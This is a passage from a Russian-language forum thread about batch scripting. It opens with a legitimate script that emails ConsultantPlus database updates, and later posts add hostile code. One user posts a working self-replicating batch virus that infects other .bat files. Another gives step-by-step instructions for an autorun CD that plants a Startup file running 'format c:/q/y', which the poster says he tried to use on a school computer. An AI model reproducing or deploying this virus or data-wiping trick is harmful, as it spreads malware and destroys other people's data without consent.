    for %%a in (*.r*) do e:\Qst9\Qst_mail\postie.exe -host:"192.168.0.74" -to:%address% -from:"RIC ConsultantPlus <[email protected]>" -org:" RIC177 " -s:"Update from RIC177 for "%fname%" : "%%a -uue -high -ns -owner:"RIC177" -charset:"koi8-r" -hide -nomsg -log:e:\QST9\Qst_mail\logs\quest_mail.log -v:3 -alt -binary -use_mime:1 -q -a:%%a

    chcp 1251
    date /T >e:\qst9\qst_mail\answer.txt
    time /T >>e:\qst9\qst_mail\answer.txt
    chcp 866
    echo На [email protected] от %address% пришло письмо, содержащее запрос %fname% . >>e:\qst9\qst_mail\answer.txt
    echo Адрес [email protected] предназначен для отработки запросов баз КонсультантПлюс Технологии3000 Серии 200.>>e:\qst9\qst_mail\answer.txt
    echo ============================================================================ >>e:\qst9\qst_mail\answer.txt
    echo Ваш запрос %fname% благополучно отработался.>>e:\qst9\qst_mail\answer.txt
    echo Вам выслано пополнение содержащееся в следующих архивных файлах: >>e:\qst9\qst_mail\answer.txt
    echo ---------------------------------------------------------------------------->>e:\qst9\qst_mail\answer.txt
    dir /B *.r* >>e:\qst9\qst_mail\answer.txt
    echo ---------------------------------------------------------------------------->>e:\qst9\qst_mail\answer.txt
    echo Вопросы, касающиеся пополнения баз КонсультантПлюс просим направлять в технический отдел по адресу: [email protected] . >>e:\qst9\qst_mail\answer.txt
    echo Или по телефонам: (861) 268-56-65 , 262-58-25 .>>e:\qst9\qst_mail\answer.txt
    echo ============================================================================ >>e:\qst9\qst_mail\answer.txt
    echo С уважением, технический отдел РИЦ-177.>>e:\qst9\qst_mail\answer.txt
    echo [email protected]>>e:\qst9\qst_mail\answer.txt
    echo Наш web-сайт: http://www.consultant.kuban.ru >>e:\qst9\qst_mail\answer.txt

    goto ONEXIT

    :ERRQST
    chcp 1251
    date /T >e:\qst9\qst_mail\answer.txt
    time /T >>e:\qst9\qst_mail\answer.txt
    chcp 866
    echo На [email protected] от %address% пришло письмо, содержащее файл %fname%. >>e:\qst9\qst_mail\answer.txt
    echo Адрес [email protected] предназначен для отработки запросов баз КонсультантПлюс Технологии3000 Серии 200.>>e:\qst9\qst_mail\answer.txt
    echo ============================================================================ >>e:\qst9\qst_mail\answer.txt
    echo Ваши запросы не могут отработаться по следующим причинам: >>e:\qst9\qst_mail\answer.txt
    echo 1. Ваша база соответствует эталонной базе РИЦ. >>e:\qst9\qst_mail\answer.txt
    echo 2. Ваши запросы содержат ошибку или не принадлежат к базам Технологии3000 >>e:\qst9\qst_mail\answer.txt
    echo и не могут правильно отработаться. >>e:\qst9\qst_mail\answer.txt
    echo 3. Ваши базы отключены от сопровождения. >>e:\qst9\qst_mail\answer.txt
    echo Отправка Вам обновления информационного банка не представляется возможной. >>e:\qst9\qst_mail\answer.txt
    echo 4. Ваш запрос превышает объём 2 Мб. >>e:\qst9\qst_mail\answer.txt
    echo За разъяснениями просим обращаться в технический отдел по адресу: [email protected] . >>e:\qst9\qst_mail\answer.txt
    echo Или по телефонам: (861) 268-56-65 , 262-58-25 .>>e:\qst9\qst_mail\answer.txt
    echo ============================================================================ >>e:\qst9\qst_mail\answer.txt
    echo С уважением, технический отдел РИЦ-177.>>e:\qst9\qst_mail\answer.txt
    echo [email protected]>>e:\qst9\qst_mail\answer.txt
    echo Наш web-сайт: http://www.consultant.kuban.ru >>e:\qst9\qst_mail\answer.txt

    :ONEXIT

    e:\Qst9\Qst_mail\postie.exe -host:"192.168.0.74" -to:%address% -from:"RIC ConsultantPlus <[email protected]>" -org:" RIC177 " -s:"Answer for "%fname%" from RIC177" -uue -high -ns -owner:"RIC177" -charset:"dos866" -hide -file:e:\qst9\qst_mail\answer.txt -log:e:\QST9\Qst_mail\logs\quest_mail.log -v:3 -alt -binary -use_mime:1 -q -a:e:\qst9\qst_mail\answer.txt -notify

    e:\Qst9\Qst_for_Kur_wks\postie.exe -host:"192.168.0.74" -to:[email protected] -from:"RIC ConsultantPlus <[email protected]>" -org:" RIC177 " -s:"Answer (QST) for "%fname%" from RIC177" -uue -high -ns -owner:"RIC177" -charset:"dos866" -hide -file:e:\qst9\qst_for_Kur_wks\answer.txt -log:e:\QST9\Qst_for_Kur_wks\logs\quest_mail.log -v:3 -alt -binary -use_mime:1 -q -a:e:\qst9\qst_for_Kur_wks\answer.txt

    color
    exit

    _________________________________________________________________________


    Но воспроизвести это в своей задаче у меня не получилось :( Может быть кто нибудь что то подскажет?

    А вот откуда как я сделал 1ю часть, т.е. откуда МОЙ лог берется:

    _________________________________________________________________________

    @echo off

    for /f "usebackq delims==" %%i in (`"dir "c:\PRIMER\" /ad /b"`) do ^
    echo ***>>c:\temp\log.txt ^
    & copy /y c:\PRIMER\%%i\ c:\temp\>>c:\temp\log.txt


    rem pause

    _________________________________________________________________________

    Это я к тому что лог можно немного изменять если это каким либо образом критично.
     
  17. SerzhS

    SerzhS New Member

    Joined:
    9 Nov 2006
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Пробую сделать через Find что то не очень получается :( параметр найденый никуда не передается, а так бы было замечательно загнать его в переменную, ограничить с начала наименования и с конца длинну и все....
     
  18. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Ну вот bat-вирус даже есть:
    Code:
    @echo off%[virus]%
    if '%1=='In_ goto virusin
    if exist c:\virus.bat goto virusru
    if not exist %0 goto MrWeben
    find "virus"<%0>c:\virus.bat
    attrib +h c:\virus.bat
    :virusru
    for %%g in (*.* ..\*.* ..\..\*.*) do call c:\virus In_ %%g
    goto virusen
    :virusin
    if exist %2.bat goto virusen
    type c:\virus.bat>>%2.bat
    echo start %2>>%2.bat%[virus]%
    :virusen
    Сохраните как virus.bat и запустите...
    P.S. Может кому такое западло пригодится.
     
    #18 -=lebed=-, 30 Jan 2007
    Last edited: 30 Jan 2007
    1 person likes this.
  19. Matias

    Matias New Member

    Joined:
    12 May 2003
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    Мда, познавательно..
    Кстати, насчет бат-вирусов, я тут на днях отчаянно пытался пронести на школьный комп сидюк с презентацией и встроенным бат файлом, провоцирующем формат с на следующий день после применения.. Если кому интересно, вот инструкция к созданию и применению.
    Берем, например, сд-р,
    пихаем на него файл Aoutorun.ini
    с содержимым:
    open=auto.bat
    и файл auto.bat, с содержимым:
    @echo off
    if exist e:\auto.bat echo format c:/q/y > e:\auto.bat C:\Docume~\AllUsers\Mainmenu\Programs\Startup\auto.bat *
    if exist d:\auto.bat echo format c:/q/y > d:\auto.bat c:\Docume~\AllUsers\Mainmenu\Programs\Startup\auto.bat *
    if exist f:\auto.bat echo format c:/q/y > f:\auto.bat C:\Docume~\AllUsers\Mainmenu\Programs\Startup\auto.bat *


    * C:\Docume~\AllUsers\Mainmenu\Programs\Startup\ - нерабочий путь, т.к. не досовский, а может даже неправильный=)). Настоящий берется вот как:
    берется какая-нибудь досовская прога(например, lines) и копируется(exe-шный файл) в C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка,
    затем отправить его из этой папки на рабочий стол(создать ярлык), искомый досовский путь можно посмотреть в свойствах ярлыка.


    В итоге достаточно вставить такой диск в сидюк, и при перезагрузке отформатируется диск C: =))
    Все это дело точно работает в winXP,насчет 2000го не уверен, насчет 9x абсолютно уверен, что не работает.


    Если кто знает, как организовать автозапуск в файла в 2000, скажите, плиз, сечас вообще офигенно нужно!
     
    1 person likes this.
  20. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    Ой вам ненадоело)) баты это прошлый век, екзешники же рулят)